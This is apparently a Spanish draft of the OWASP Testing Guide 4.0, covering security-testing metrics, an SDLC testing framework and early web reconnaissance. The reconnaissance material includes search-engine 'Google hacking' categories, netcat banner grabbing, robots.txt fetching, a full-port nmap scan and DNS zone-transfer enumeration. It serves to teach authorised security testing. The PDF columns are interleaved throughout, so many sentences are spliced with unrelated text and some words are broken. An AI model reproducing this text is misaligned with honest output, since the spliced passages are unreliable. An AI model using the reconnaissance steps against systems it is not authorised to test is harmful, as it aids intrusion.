caso de pruebas funcionales de seguridad, las pruebas de nivel de unidad pueden de codificación segura también pueden utilizarse como puertas automáticas de
probar la funcionalidad de los controles de seguridad al nivel de componentes de entrada para el control de la versión del software, por ejemplo, los artefactos del
software, tales como las funciones, métodos o clases. Por ejemplo, un caso de software no pueden verificarse dentro de la estructura si existen temas de alto o
prueba puede verificar la validación de entrada y salida (por ejemplo, mediano grado de severidad.
saneamiento de variables) y verificación de límites para las variables, afirmando
la funcionalidad esperada del componente.
Los casos de pruebas de seguridad a nivel de unidad pueden ser desarrollados Los escenarios de ataque real pueden analizarse tanto con técnicas manuales de
por un ingeniero de seguridad que es el experto en la materia de seguridad de pruebas como con herramientas de prueba de penetración. Las pruebas de
software y también es responsable de validar que los temas de seguridad en el seguridad de este tipo se denominan también pruebas de hacking ético. Desde la
código fuente se han corregido y se pueden comprobar en la estructura del perspectiva de pruebas de seguridad, éstas son direccionadas por el riesgo y
sistema integrado. Normalmente, el administrador de la construcción de la tienen el objetivo de probar la aplicación en el entorno operativo. El objetivo es
aplicación también se asegura de que archivos ejecutables y bibliotecas de la estructura de la aplicación representativa de aquella versión que será
terceros sean evaluados en busca de vulnerabilidades potenciales antes de implementada en la producción.
integrarlos en la estructura de las aplicaciones.
Por ejemplo, las vulnerabilidades encontradas en el código fuente mediante el Los datos de pruebas de seguridad pueden ser absolutos, como el número de
análisis del código fuente representan una medida inicial del riesgo. Una medida vulnerabilidades detectadas durante la revisión de código manual; así como
de riesgo (p. ej., alta, media, baja) de la vulnerabilidad puede calcularse comparativo, como el número de vulnerabilidades detectadas durante las
mediante la determinación de los factores de exposición y probabilidad, revisiones de código comparadas con las pruebas de penetración. Para responder
validando la vulnerabilidad con pruebas de penetración. Las métricas de riesgo a preguntas sobre la calidad del proceso de seguridad, es importante determinar
asociadas a vulnerabilidades encontradas con las pruebas de seguridad dan el una línea base para lo que podría considerarse aceptable y bueno. Los datos de
poder a la gestión de negocio para poder tomar decisiones de riesgo, tales como pruebas de seguridad también pueden apoyar objetivos específicos del análisis
para decidir si los riesgos pueden ser aceptados, mitigados o transferidos a de seguridad. Estos objetivos podrían ser el cumplimiento de las normas de
diferentes niveles dentro de la organización (por ejemplo, de negocios, así como seguridad y estándares de seguridad de la información, los procesos de gestión
los riesgos técnicos). de la seguridad, la identificación de causas principales de seguridad y mejoras en
los procesos y el análisis de costo- beneficio de la seguridad.
• reducir el número total de vulnerabilidades en un 30% • ¿ ué tipo de pruebas de seguridad son más eficaces para detectar
vulnerabilidades (por ejemplo, Caja Blanca versus Caja Negra)?
• solución de temas de seguridad en un determinado plazo (por ejemplo, antes
del lanzamiento de la beta) • ¿Cuántos problemas de seguridad se encuentran durante las revisiones de
seguridad del código?
Incluso las más sofisticadas herramientas de automatización no son competencia Informar la causa principal del problema puede ayudar a identificar lo que necesita
para un evaluador de seguridad experimentado. Sólo confiar en los resultados de ser corregido. En el caso de una prueba de Caja Blanca, por ejemplo, la causa de
pruebas exitosas de las herramientas de automatización les dará a los seguridad principal de la vulnerabilidad del software será transgredir el código
profesionales de la seguridad una falsa sensación de seguridad. Por lo general, fuente.
mientras más experimentados son los evaluadores de seguridad en la
metodología de pruebas de seguridad y herramientas de prueba, mejores serán
los resultados de las pruebas de seguridad y análisis. Es importante que los
gerentes que realizan una inversión en herramientas de pruebas de seguridad Una vez que se reportan los problemas, también es importante proporcionar
también consideren una inversión en la contratación de recursos humanos orientación al desarrollador de software para que pueda volver a probar y encontrar
calificados, así como en capacitación para pruebas de seguridad. la vulnerabilidad. Esto podría significar usar una técnica de prueba de Caja Blanca
(por ejemplo, revisión del código de seguridad con un analizador de código
estático) para encontrar si el código es vulnerable. Si se encuentra una
vulnerabilidad a través de una técnica de Caja Negra (prueba de penetración), el
Reporte de requerimientos informe de prueba también debe proporcionar información sobre cómo validar la
exposición de la vulnerabilidad en el extremo delantero (por ejemplo, cliente).
La postura de seguridad de una aplicación puede ser caracterizada desde la
perspectiva del efecto, tal como el número de vulnerabilidades y la calificación
de riesgo de las vulnerabilidades, así como desde la perspectiva de la causa u
origen, tales como problemas de codificación, fallos arquitectónicos y errores de La información acerca de cómo solucionar la vulnerabilidad debe ser detallada
configuración. suficientemente para que un desarrollador pueda implementar una solución. Debe
dar ejemplos de codificación segura, cambios en la configuración y proporcionar
referencias adecuadas.
Para que las métricas de pruebas de seguridad sean útiles, deben proporcionar valor
a los depositarios o accionistas de los datos de las pruebas de seguridad de la
• La categorización de cada tipo de vulnerabilidad organización. Los accionistas pueden incluir gerentes de proyecto, desarrolladores,
oficinas de seguridad de información, auditores y oficiales principales de
• La amenaza a la seguridad que expone el tema
información. El valor puede ir en términos de la rentabilidad que tiene cada [1] T. DeMarco, Controlling Software Projects: Management, Measurement
accionista del proyecto, en términos del rol y la responsabilidad. and Estimation, Yourdon Press, 1982
Los desarrolladores de software buscan demostrar, en los datos de pruebas de [3] NIST, The economic impacts of inadequate infrastructure for software
seguridad, que el software está codificado de una manera más segura y eficiente. testing - nist.gov
Esto les permite apoyar el caso para usar herramientas de análisis de código fuente,
así como seguir estándares de codificación y asistir a entrenamientos de seguridad [4] Ross Anderson, Economics and Security Resource Page - cl.cam.ac.uk
de software.
[5] Denis Verdon, Teaching Developers To Fish - OWASP AppSec NYC
2004
Los gerentes de proyecto buscan datos que les permitan administrar y utilizar las [6] Bruce Schneier, Cryptogram Issue #9 - schneier.com
actividades y recursos de las pruebas de seguridad, de acuerdo al plan del proyecto
de seguridad. Para los jefes de proyecto, los datos de las pruebas de la seguridad [7] Symantec, Threat Reports - symantec.com
pueden mostrar los proyectos que están dentro del cronograma, avanzar de acuerdo
al objetivo de las fechas de entrega y mejorar durante las pruebas. [8] FTC, The Gramm-Leach Bliley Act - business.ftc.gov
Los datos de pruebas de seguridad también ayudan al caso del negocio cuando la [10] European Union, Directive 96/46/EC on the protection of individuals
iniciativa proviene de agentes de seguridad de la información (ISO). Por ejemplo, with regard to the processing of personal data and on the free movement of
puede proporcionar evidencia de que las pruebas de seguirdad durante el SDLC no such data - ec.europa.eu
afectan la ejecución de los proyectos; más bien reducen la carga de trabajo total
necesaria para atacar vulnerabilidades que se presentarán más adelante en la [11] NIST, Risk management guide for information technology systems -
producción. csrc.nist.gov
proporcionan un nivel de garantía, seguridad y confianza del software que cumple [14] Gary McGraw, Beyond the Badness-ometer - drdobbs.com
con el estándar, a través de los procesos de revisión de seguridad dentro de la
organización. [15] FFIEC, Authentication in an Internet Banking Environment -
www.ffiec.gov
Referencias [21] MITRE, Being Explicit About Weaknesses, Slide 30, Coverage of CWE
- cwe.mitre.org
[22] Marco Morana, Building Security Into The Software Life Cycle, A Business Case - blackhat.com
3 Esta sección describe un framework de pruebas típico que puede desarrollarse dentro de una
organización. Puede ser visto como un framework referencial que comprende técnicas y tareas
que son apropiadas en diferentes fases del ciclo de vida de desarrollo del software (SDLC).
Esta sección pretende ayudar a las organizaciones a construir un proceso • Durante la definición y diseño
completo de análisis estratégico y no está dirigida a consultores o contratistas
que tienden a ser más tácticos en las zonas específicas de la prueba. •.Durante el desarrollo
• Durante la implementación
Es fundamental entender por qué se debe crear un framework de pruebas de • Mantenimiento y operaciones
inicio a fin; la respuesta es porque es crucial para evaluar y mejorar la seguridad
del software. En la escritura de código seguro, Howard y LeBlanc cuentan que
emitir un boletín de seguridad le cuesta a Microsoft por lo menos $100.000, y les
cuesta colectivamente a sus clientes mucho más que eso el aplicar los parches de Fase 1: Antes del inicio del desarrollo
seguridad. También observan que el sitio web de delitos informáticos del
Fase 1.1: Defina un SDLC
gobierno de Estados Unidos (http://www.justice.gov/criminal/cybercrime/)
detalla recientes casos criminales y la pérdida de las organizaciones. Las
Antes del inicio del desarrollo de aplicaciones, un SDLC adecuado debe ser
pérdidas comunes superan con creces los USD $100.000.
definido donde la seguridad es inherente en cada etapa.
Con una economía como esta, no es de extrañarse por qué los proveedores de
Fase 1.2: Revise las políticas y estándares
software pasan de realizar únicamente pruebas de seguridad de Caja Negra, que
sólo se puede realizar en las aplicaciones que ya se han desarrollado, a
Asegúrese de que existen adecuadas políticas, estándares y documentación en el
concentrarse en las pruebas en los primeros ciclos del desarrollo de aplicaciones
lugar. La documentación es extremadamente importante ya que da a los equipos las
tales como la definición, diseño y desarrollo.
pautas de desarrollo y las políticas que pueden seguir.
proceso como en el producto. Es esencial definir las métricas antes de que Las aplicaciones deben tener una arquitectura y diseño documentados. Esta
comience el desarrollo, ya que puede haber la necesidad de modificar el proceso documentación puede incluir modelos, documentos textuales y otros artefactos
con el fin de capturar los datos. similares. Es esencial probar estos artefactos para asegurar que el diseño y la
arquitectura de la aplicación mantienen el nivel adecuado de seguridad según lo
definido en los requisitos.
Fase 2.1: Revise los requisitos de seguridad Identificar fallas de seguridad en la fase de diseño no sólo es uno de los momentos
más eficientes en costo para identificar fallas, sino que puede ser uno de los
Los requisitos de seguridad definen cómo funciona una aplicación desde momentos más eficaces para realizar cambios. Por ejemplo, si se identifica que el
diseño exige autorización para las decisiones en varios lugares, puede ser apropiado
considerar un componente de autorizaciones centralizado. Si la aplicación realiza
una validación de datos en múltiples lugares, puede ser apropiado desarrollar un
una perspectiva de seguridad. Es esencial que los requerimientos de seguridad marco de validación central (es decir, la validación de correcciones en un solo
sean probados. Probar, en este caso, significa verificar los supuestos que se lugar, en vez de cientos de lugares; es mucho más económico).
hacen en los requisitos y las pruebas para ver si hay diferencias en las
definiciones de los requisitos.
• Responsabilidad
arquitectura con el arquitecto de sistemas para modificar el diseño.
• Administración de sesiones
• Seguridad de transporte
Fase 3: Durante el desarrollo
• Segregación de sistema de información en niveles
En teoría, el desarrollo es la aplicación de un diseño. Sin embargo, en el mundo
• Cumplimiento de legislación y estándares (incluidas las normas de privacidad,
real, muchas decisiones de diseño se realizan durante el desarrollo de la
gubernamentales e industria)
codificación. Son, a menudo, decisiones pequeñas que eran demasiado detalladas
para ser descritas en el diseño, o temas donde no se ofrecieron políticas o
estándares de orientación. Si el diseño y la arquitectura no fueran adecuados, el
desarrollador se enfrentará a muchas decisiones. Si hay normas y políticas
Fase 2.2: Revise el diseño y arquitectura
insuficientes, el desarrollador se enfrentará aún a más decisiones.
Para más información sobre las listas OWASP, por favor consulte la guía de
OWASP para Seguridad de Aplicaciones Web, o la última edición de la OWASP
Fase 3.1: Camine a través del código Top 10.
El equipo de seguridad debería realizar una "caminata" a través del código con los
desarrolladores y, en algunos casos, los arquitectos del sistema. Una caminata a
través del código es un recorrido de alto nivel a través del código, donde los Fase 4: Durante la fase de implementación
desarrolladores pueden explicar la lógica y el flujo del código implementado. Esta
caminata permite al equipo de revisión de código obtener una comprensión general Fase 4.1: Prueba de aplicación y penetración
del código y permite a los desarrolladores explicar por qué ciertas cosas se
desarrollaron de la manera en que lo hicieron. Habiendo probado los requisitos, analizado el diseño y realizada la revisión de
código, se puede suponer que todos los temas han sido cubiertos. Esperemos que
este sea el caso, pero realizar pruebas de penetración de la aplicación después de
que se ha implementado proporciona una última comprobación para asegurarse
El propósito no es realizar una revisión de código, sino entender en un nivel alto el de que nada se ha escapado.
flujo, el diseño y la estructura del código que compone la aplicación.
Armado con una buena comprensión de cómo está estructurado el código y por qué
ciertas cosas fueron codificadas de la manera en que lo fueron, el evaluador puede Fase 4.2: Pruebas de gestión de configuración
examinar ahora el código real en busca de defectos de seguridad.
La prueba de penetración de la aplicación debe incluir la comprobación de cómo
la infraestructura fue implementada y asegurada. Aunque la aplicación puede ser
segura, un pequeño aspecto de la configuración podría estar todavía en una fase
Las revisiones de código estático validan el código con una serie de listas de de instalación por defecto y ser vulnerable a la explotación.
verificación, que incluyen:
En términos del retorno sobre los recursos invertidos (sobre todo tiempo), las
revisiones de código estático producen rendimientos de mayor calidad que
cualquier otro método Etapa 5.3: Garantice la verificación después del cambio
Pruebas de Seguridad de
4 Aplicaciones Web
Las siguientes secciones describen las 12 categorías de la Metodología de
Pruebas de Penetración de una Aplicación Web.
Pruebas: Introducción y objetivos • Abierto: cada experto en seguridad puede participar con su experiencia en el
proyecto. Todo es gratis.
Esta sección describe la metodología OWASP de pruebas de seguridad de
aplicaciones web y explica cómo evaluar para encontrar evidencias de • Colaborativo: Se realizan lluvias de ideas antes de que los artículos sean escritos,
vulnerabilidades dentro de la aplicación, debido a las deficiencias de los así el equipo puede compartir ideas y desarrollar una visión colectiva del proyecto.
controles de seguridad identificados. Esto significa un consenso básico, un público más amplio y mayor participación.
¿Qué son las pruebas de seguridad de aplicaciones web? Este enfoque tiende a crear una metodología de pruebas definida que será:
Las pruebas de seguridad nunca serán una ciencia exacta donde se puede definir
¿Qué es una amenaza?
una lista completa de todos los temas posibles que deben ser probados. De hecho,
las pruebas de seguridad son sólo una técnica apropiada para probar la seguridad de
Una amenaza es cualquier cosa (un atacante malintencionado externo, un usuario
aplicaciones web bajo ciertas circunstancias. El objetivo de este proyecto es recoger
interno, una inestabilidad del sistema, etc.) que puedan dañar los activos propios
todas las técnicas de pruebas posibles, explicar estas técnicas y mantener la guía
de una aplicación (recursos de valor como los datos en una base de datos o en el
actualizada. El método de pruebas de seguridad de aplicaciones Web OWASP se
sistema de archivos) mediante la explotación de una vulnerabilidad.
basa en el enfoque de Caja Negra. El evaluador no sabe nada o tiene muy poca
información sobre la aplicación a probar.
Una prueba es una acción que permite demostrar que una aplicación cumple con
los requisitos de seguridad de sus grupos de interés.
El modelo de prueba consiste de: El conjunto de pruebas activas se han dividido en 11 categorías para un total de 91
controles:
• Evaluador: uien realiza las actividades de prueba
• Pruebas de autenticación
• Fase 1 Modo pasivo:
• Pruebas de autorización
En el modo pasivo, el evaluador intenta comprender la lógica de la aplicación y
juega con la aplicación. Se pueden utilizar herramientas para la recopilación de • Pruebas de gestión de sesión
información. Por ejemplo, un proxy HTTP puede ser utilizado para observar todas
las solicitudes y respuestas HTTP. Al final de esta fase, el evaluador debe • Pruebas de validación de ingreso
comprender todos los puntos de acceso (puertas) de la aplicación (por ejemplo,
encabezados HTTP, parámetros y cookies). La sección de Recolección de • Manejo de errores
Información explica cómo realizar una prueba de modo pasivo.
• Criptografía
https://www.example.com/login/Authentic_Form.html
Pruebas de la recopilación de la información
contenido, no han sido utilizadas, entonces es posible que los índices incluyan • ixquick/Startpage
contenido web cuya inclusión no estaba prevista por parte de los propietarios. Los
propietarios de páginas web pueden utilizar el mencionado robots.txt, meta • Google
etiquetas HTML, autenticación y herramientas proporcionados por los motores de
búsqueda para eliminar dicho contenido. • Shodan
• PunkSpider
Objetivos de la prueba
Para entender qué información sensible del diseño y configuración de la Duck Duck Go y ixquick/Startpage proveen información limitada al respecto de
aplicación/sistema/organización está expuesta directamente (en la página web de fugas del evaluador.
la organización) o indirectamente (en un sitio web de terceros).
• Diagramas de red y configuraciones El Google SOAP Search API soporta el doGetCachedPage y los mensajes SOAP
de doGetCachedPageResponse asociado [3] para ayudar a recuperar páginas en
• Mensajes archivados y mensajes de correo electrónico caché. Una implementación de esto está en desarrollo por OWASP en el proyecto
"Google Hacking".
• Contenido de mensajes de error Por ejemplo, para encontrar el contenido de la web de owasp.org indexado por un
motor de búsqueda típico, la sintaxis requerida es:
• Desarrollo, prueba, UAT escenificando las versiones de la página web
Operadores de búsqueda
• Baidu
• binsearch.info
• Bing
• Duck Duck Go
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
39
Guia de pruebas 4.0 "Borrador"
Herramientas
Referencias
Web
[1] “Google Basics: Learn how Google Discovers, Crawls, and Serves Web
Pages” - support.google.com
La base de datos de Google Hacking es una lista muy útil de consultas de búsqueda
[3] “Google Hacking Database”: exploit-db.com
de Google. Las consultas se ponen en varias categorías:
Remediación
• Puntos de apoyo o bases de apoyo
Considere cuidadosamente la sensibilidad de la información del diseño y
• Archivos que contienen nombres de usuario
configuración antes de publicarla en línea.
• Directorios sensibles
• Servidores vulnerables
• Archivos que contienen contraseñas El utilizar huellas digitales en el servidor web es una tarea fundamental para
Del campo del servidor, se puede entender que el servidor es muy probablemente
Apache, versión 1.3.3, y que corre sobre un sistema operativo Linux.
Esta información se puede derivar enviando al servidor web comandos específicos
y analizando la respuesta de salida, como cada versión de software del servidor
Cuatro ejemplos de los encabezados de respuesta HTTP se indican a continuación:
web puede responder de manera distinta a estos comandos. Sabiendo cómo
responde cada tipo de servidor web a comandos específicos y manteniendo esta
información en una base de datos de huellas digitales de servidores web, un
evaluador de penetración puede enviar estos comandos al servidor web, analizar la
De un servidor Apache 1.3.23:
respuesta y compararla con la base de datos de firmas conocidas.
Tenga en cuenta que generalmente necesita varios comandos diferentes para HTTP/1.1 200 OK
identificar con precisión el servidor web, cómo las diferentes versiones pueden
reaccionar de manera similar para el mismo comando. Raramente las diferentes Date: Sun, 15 Jun 2003 17:10: 49 GMT
versiones reaccionan de la misma manera a todos los comandos HTTP; por lo que
mediante el envío de varios comandos diferentes, el evaluador puede aumentar la Server: Apache/1.3.23
precisión de su conjetura.
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Objetivos de las pruebas
Accept-Ranges: bytes
Encontrar la versión y el tipo de servidor web en ejecución para determinar
Content-Length: 196
vulnerabilidades conocidas y la manera de explotarlas para usar durante la prueba.
Connection: close
Cómo probar
HTTP/1.1 200 OK
En este caso, el campo de servidor de esa respuesta es ofuscado. El evaluador no
Server: Microsoft-IIS/5.0 puede saber qué tipo de servidor web se ejecuta basado en dicha información.
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Content-type: text/HTML
Comportamiento de protocolo
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Técnicas de comportamiento más refinadas toman en cuenta diversas
Content-length: 57 características de los varios servidores web disponibles en el mercado. Abajo está
una lista de algunas metodologías que permiten a los evaluadores deducir el tipo de
Accept-ranges: bytes servidor web que está en uso.
Content-length: 1186
Content-type: text/html
Accept-Ranges: bytes
$ nc apache.example.com 80 $ nc netscape.example.com 80
Connection: close
$ nc iis.example.com 80 $ nc sunone.example.com 80
Podemos notar que el orden de los campos de fecha y servidor difieren entre
Apache, Netscape Enterprise y IIS.
Otra prueba útil para ejecutar consiste en enviar solicitudes con formato incorrecto
o páginas inexistentes al servidor. Considere las siguientes respuestas HTTP.
Server: Sun-ONE-Web-Server/6.1
HTTP/1.1 400 Bad Request
Date: Tue, 16 Jan 2007 15:25:00 GMT
Date: Sun, 15 Jun 2003 17:12: 37 GMT
Content-length: 0
Server: Apache/1.3.23
Content-type: text/html
Connection: close
Transfer: chunked
Podemos notar que cada servidor responde de forma diferente. La respuesta
también es diferente, dependiendo de la versión del servidor. Observaciones
Respuesta de IIS 5.0 similares se pueden hacer creando peticiones con un método HTTP
inexistente. Considere las siguientes respuestas:
$ nc iis.example.com 80
GET / HTTP/3.0
Respuesta de Apache 1.3.23
HTTP/1.1 200 OK
$ nc apache.example.com 80
Server: Microsoft-IIS/5.0
GET / JUNK/1.0
Content-Location: http://iis.example.com/Default.htm
HTTP/1.1 200 OK
Date: Fri, 01 Jan 1999 20:14: 02 GMT
Date: Sun, 15 Jun 2003 17:17: 47 GMT
Content-Type: text/HTML
Server: Apache/1.3.23
Accept-Ranges: bytes
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT
ETag: 32417-c4-3e5d8a83
Respuesta de Netscape Enterprise 4.
Accept-Ranges: bytes
GET / HTTP/3.0
Server: Netscape-Enterprise/4.1
Content-length: 140
Content-type: text/HTML
• Desenmascarame - desenmascara.me
$ nc iis.example.com 80
GET / JUNK/1.0
Server: Microsoft-IIS/5.0
Content-Type: text/HTML
Content-Length: 87
Pruebas automatizadas
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
A continuación se muestra un ejemplo de httprint en funcionamiento:
<BODY><H1>Bad request</H1>
$ nc sunone.example.com 80
GET / JUNK/1.0
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Herramientas
• httprecon - computec.ch Las herramientas en línea se pueden utilizar si el evaluador quiere probar más
sigilosamente y no desea conectarse directamente a la página web objetivo.
• Netcraft - netcraft.com Un ejemplo de una herramienta en línea que ofrece a menudo una gran
cantidad de información sobre servidores web objetivos es Netcraft. Con esta
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
45
Guia de pruebas 4.0 "Borrador"
herramienta podemos recuperar información acerca del sistema operativo, Proteja la capa de presentación del servidor web detrás de un proxy inverso
servidor web utilizado, tiempo de actividad del servidor, propietario Netblock, endurecido.
historial de cambios relacionados con el servidor web y el sistema operativo.
A continuación se muestra un ejemplo: Ofusque la capa de presentación de los encabezados del servidor web.
• Apache
• IIS
Objetivos de la prueba
Se espera que el proyecto OWASP Unmaskme se convierta en otra
herramienta en línea para dejar huellas digitales de cualquier sitio web con 1. Fuga de información de la ruta o rutas al directorio o carpeta de la aplicación
una interpretación global de todos los metadatos web extraídos. La idea detrás web.
de este proyecto es que cualquier persona a cargo de un sitio web pueda
probar los metadatos que el sitio muestra al mundo y evaluar desde un punto 2. Crear la lista de directorios que deben ser evitados por las arañas, robots o
de vista de seguridad. rastreadores.
Aunque este proyecto está aún en desarrollo, usted puede probar el concepto
de esta idea en español.
Cómo se prueba
robots.txt
Referencias
Libros Blancos Las arañas, robots o rastreadores web recuperan una página web y luego,
recursivamente, atraviesan hipervínculos para recuperar otros contenidos web. Su
• Saumil Shah: “An Introduction to HTTP fingerprinting” comportamiento aceptado está especificado por el protocolo de Exclusión de
Robots del archivo robots.txt en el directorio web principal [1]
www.net-square.com
Como ejemplo, el principio del archivo robots.txt de
http://www.google.com/robots.txt probado el 11 de agosto de 2013 se cita a
continuación:
• Anant Shrivastava: “Web Application Finger Printing”
anantshri.info
Remediación
Disallow: /groups
Disallow: /images
cmlh$ curl -O http://www.google.com/robots.txt
Disallow: /catalogs
% Total % Received % Xferd Average Speed Time Time
Time Current
Disallow: /sdch
robots.txt in el directorio principal con “wget” o “curl”
Disallow: /groups
Disallow: /images
3. Sending Allow: URIs of www.google.com to web proxy i.e. <META>Etiquetas - con Burp
127.0.0.1:8080
/catalogs/about sent
Basado en las directivas, de no permitir (Disallow), listadas en el archivo robots.txt
/catalogs/p? sent en el directorio principal, la búsqueda normal de una expresión " <META
name="”ROBOTS””" dentro de cada página web inicia y el resultado se compara
/news/directory sent
al archivo robots.txt en el directorio principal.
...
Herramientas
Los profesionales en seguridad a veces reciben un conjunto de direcciones IP como
• Buscador (Funcion de Ver Origen) un objetivo de pruebas. Es discutible que este escenario sea parecido a una relación
de tipo prueba de penetración, pero, en cualquier caso, se espera que dicha sesión
• curl pondría a prueba todas las aplicaciones web accesibles a través de este objetivo. El
problema es que la dirección IP aloja un servicio HTTP en el puerto 80, pero si un
• wget evaluador debe acceder especificando la dirección IP (que es todo lo que sabe)
reportará "Ningún servidor web configurado en esta dirección" o un mensaje
• rockspider[7] similar. Pero el sistema puede "ocultar" una serie de aplicaciones web, asociadas a
nombres simbólicos, sin relación del (DNS). Obviamente, el alcance del análisis se
ve afectado profundamente si el evaluador prueba todas las aplicaciones o sólo las
aplicaciones de las que está consciente.
Referencias
Libros Blancos
A veces, la especificación de destino es más rica. El evaluador puede recibir una
lista de direcciones IP y sus correspondientes nombres simbólicos. Sin embargo,
esta lista podría transmitir información parcial, es decir, podría omitir algunos
[1] “The Web Robots Pages” - http://www.robotstxt.org/ nombres simbólicos y el cliente podría ni siquiera estar consciente de aquello (esto
es más probable que ocurra en las grandes organizaciones).
[2] “Block and Remove Pages Using a robots.txt File” -
https://support.google.com/webmasters/answer/156449
[3] “(ISC)2 Blog: The Attack of the Spiders from the Clouds” - Otros temas que afectan el alcance de la evaluación están representados por
http://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html aplicaciones web publicadas en URLs no evidentes (por ejemplo,
http://www.example.com/some-strange-URL), a las que no se hace referencia en
[4] “Telstra customer database exposed” - http://www.smh.com.au/it-pro/security- otros lugares. Esto puede suceder por error (debido a configuraciones incorrectas) o
it/telstra-customer-database-exposed-20111209-1on60.html intencionalmente (por ejemplo, interfaces administrativas no publicitadas).
Enumerar las aplicaciones que existen dentro del ámbito en un servidor web evaluador sepa explícitamente cómo llegar a ellas, es decir, el evaluador sabe las
url1 y url2 url3. Generalmente no hay necesidad de publicar aplicaciones web de
esta manera, a menos que el propietario no desee que se encuentren accesibles de
una manera estándar y esté dispuesto a informar a los usuarios sobre su ubicación
Cómo probar exacta. Esto no quiere decir que estas aplicaciones son secretas, sólo que su
existencia y localización no son anunciadas explícitamente.
Pruebas de Caja Negra
Las DNS permiten una dirección IP única asociada a uno o más nombres
simbólicos. Por ejemplo, la dirección IP 192.168.1.100 podría asociarse a los
Nota: Algunas de las técnicas siguientes se aplican a servidores de nombres DNS www.example.com, helpdesk.example.com y
webmail.example.com. No es necesario que todos los nombres pertenezcan al
mismo dominio DNS. Esta relación de 1 a N puede usarse para servir a diferentes
contenidos con los denominados hospedajes (host) virtuales. La información que
conexión a internet, es decir, DNS y servicios de búsqueda en la web de IP inversa especifica al host virtual al cual nos estamos refiriendo está incrustada en el
y el uso de motores de búsqueda. Los ejemplos hacen uso de la direcciones IP encabezado HTTP 1.1 [1].
privadas (por ejemplo 192.168.1.100), que, a menos que se indique lo contrario,
representan direcciones IP genéricas y son utilizadas solamente con el propósito del
anonimato.
Uno no podría sospechar de la existencia de otras aplicaciones web adicionales a la
obvia www.example.com, a menos que sepan de helpdesk.example.com y
webmail.example.com.
Hay tres factores que influyen en cuantas aplicaciones están relacionadas con un
determinado nombre DNS (o una dirección IP):
1. URL con bases diferentes No hay ninguna manera de comprobar totalmente la existencia de aplicaciones web
sin el nombre estándar. Al ser no estándar, no hay criterios establecidos o
El punto de entrada obvio de una aplicación web es www.example.com, es decir, convenidos para la nomenclatura, sin embargo, hay una serie de técnicas que puede
con esta nominación abreviada pensamos que la aplicación web se origina en utilizar el evaluador para obtener información adicional.
http://www.example.com/ (lo mismo se aplica para https). Sin embargo, a pesar de
que esta es la situación más común, no hay nada que obligue a la aplicación para
que empiece en "/".
En primer lugar, si el servidor web está mal configurado y permite navegar por el
directorio, es posible detectar estas aplicaciones. Los escáneres de vulnerabilidad
pueden ayudar en este sentido.
Por ejemplo, el mismo nombre simbólico puede ser asociado a tres aplicaciones
web tales como: http://www.example.com/url1 http://www.example.com/url2
http://www.example.com/url3
En segundo lugar, estas aplicaciones pueden estar referenciadas por otras páginas
En este caso, el enlace http://www.example.com/ no estaría asociado con una web y hay la posibilidad de que hayan sido procesadas por un robot araña e
página significativa, y las tres aplicaciones estarían "ocultas", a menos que el indexadas por los motores de búsqueda web. Si los evaluadores sospechan de la
existencia de este tipo de aplicaciones "ocultas" en www.example.com lo podrían De este ejemplo uno puede ver que:
buscar utilizando el operador del sitio web y examinar el resultado de una consulta
para "site: www.example.com". Entre los URLs devueltos podrían haber algunos
apuntando a una aplicación no tan obvia.
• Hay un servidor de http Apache corriendo en el puerto 80.
• Parece que hay un servidor https en el puerto 443 (pero esto debe ser confirmado,
Otra opción es sondear URL que podrían ser candidatos probables para por ejemplo, visitando https://192.168.1.100 con un navegador)
aplicaciones no publicadas. Por ejemplo, un correo web frontal puede ser accesible
desde la URL https://www.example.com/webmail, https://webmail.example.com/ o • En el puerto 901hay una interfaz de web de Samba SWAT.
https://mail.example.com/. Lo mismo se aplica para interfaces administrativas, que
pueden ser publicadas en URL ocultas (por ejemplo, una interfaz administrativa • El servicio en Puerto 1241 no es https, pero es el demonio Nessus enlazado al
Tomcat) y, sin embargo, no hacen referencia en ningún lugar. Así que haciendo un SSL.
poco de búsqueda de estilo diccionario (o "adivinanza inteligente") podría arrojar
algunos resultados. Los escáneres de vulnerabilidad pueden ayudar en este caso. • El puerto 3690 ofrece un servicio no especificado (nmap devuelve su huella
digital - aquí ha sido omitida por claridad - junto a las instrucciones para su
incorporación en la base de datos de huellas dactilares nmap, siempre y cuando
usted sepa qué servicio representa).
Enfoques para solucionar el tema 2 - puertos no estándar
• Otro servicio no identificado en el puerto 8000. Esto posiblemente podría ser un
Es fácil comprobar la existencia de aplicaciones web en puertos no estándar. Un http, ya que no es raro encontrar servidores de http en este puerto. Vamos a
escáner de puertos como nmap [2] es capaz de realizar el reconocimiento de examinar esta cuestión:
servicio mediante la opción - sV e identificará los servicios http [s] en puertos
arbitrarios. Lo que se requiere es un análisis completo de los 64k de espacio del
puerto TCP.
Puertos interesantes en 192.168.1.100:
(Los 65527 puertos escaneados, pero que no se muestran abajo, son los
Por ejemplo, el siguiente comando buscará, con un escaner de conección TCP,
que están en estado cerrado)
todos los puertos abiertos en la IP 192.168.1.100 y tratará de determinar qué
servicios están atados a ellos (sólo se muestran los modificadores esenciales –
PORT STATE SERVICE VERSION
nmap ofrece un amplio conjunto de opciones, cuya discusión está fuera de
alcance): 22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)
nmap –PN –sT –sV –p0-65535 192.168.1.100 443/tcp open ssl OpenSSL
populares o interfaces web que, de lo contrario, podrían pasar desapercibidas (por www.example.com y el no tan obvio helpdesk.example.com y
ejemplo, una interfaz de administración de Tomcat). webmail.example.com (y probablemente otros). Revise todos los nombres
devueltos por la transferencia de zona y considere a todos aquellos que se
relacionan con el objetivo a ser evaluado.
Hay una serie de técnicas que pueden utilizarse para identificar nombres DNS Tratando de solicitar una transferencia de zona para owasp.org desde uno de los
asociados a una dirección IP determinada x.y.z.t. nombres de servidor:
Servicios de IP inversa
Los servicios de IP inversa son similares a las consultas inversas de DNS, con la
Una transferencia de zona puede solicitarse ahora a los nombres de los servidores diferencia que los evaluadores consultan una aplicación web en lugar de un nombre
